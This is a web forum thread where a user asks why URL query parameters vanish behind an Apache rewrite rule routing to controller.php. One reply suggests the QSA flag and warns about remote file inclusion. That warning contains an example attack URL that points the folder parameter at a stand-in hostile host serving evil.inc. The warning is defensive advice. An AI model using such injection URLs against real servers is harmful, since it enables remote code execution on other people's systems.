![]() |
Help with GET
Okay so I'm creating my own framework script, the URL's are gonna be:
controller.php?folder=foldernamehere&page=pagename here So in the controller.php I have.. PHP Code:
Rewrite On RewriteRule ^(.*)/(.*)\.php$ controller.php?folder=$1&page=$2 Well, works out fine if I access say.. /users/index.php it will display the info perfect! But, on to my issue. Well, say on that /users/index.php file, I want to get something from the URL... say, /users/index.php?user=bla Well, it will not work for some reason! Any idea why? I believe its because I already have used it in the .htaccess file, but not sure.. How can I fix it? Thanks a lot! |
Two things, first of all the obvious security issues with that script. NEVER just allow user input to be used in scripts without first filtering them. With your example one could enter this into the URL param and be able to execute dangerous code from an external source on your server as if it came from your server, for example:
PHP Code:
Code:
http://yourserver.com/script.php?folder=http://evilscriptslol.com/evil.inc?PHP Code:
Filter Input Escape Output - Golden rule of web-development (and most other types of development) Secondly to your actual problem, try adding [QSA] to the end of your rewrite rule: Code:
Rewrite On |
Quote:
Quote:
|
Should work, can I see your full htaccess.
|
| All times are GMT. The time now is 08:21 AM. |
Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0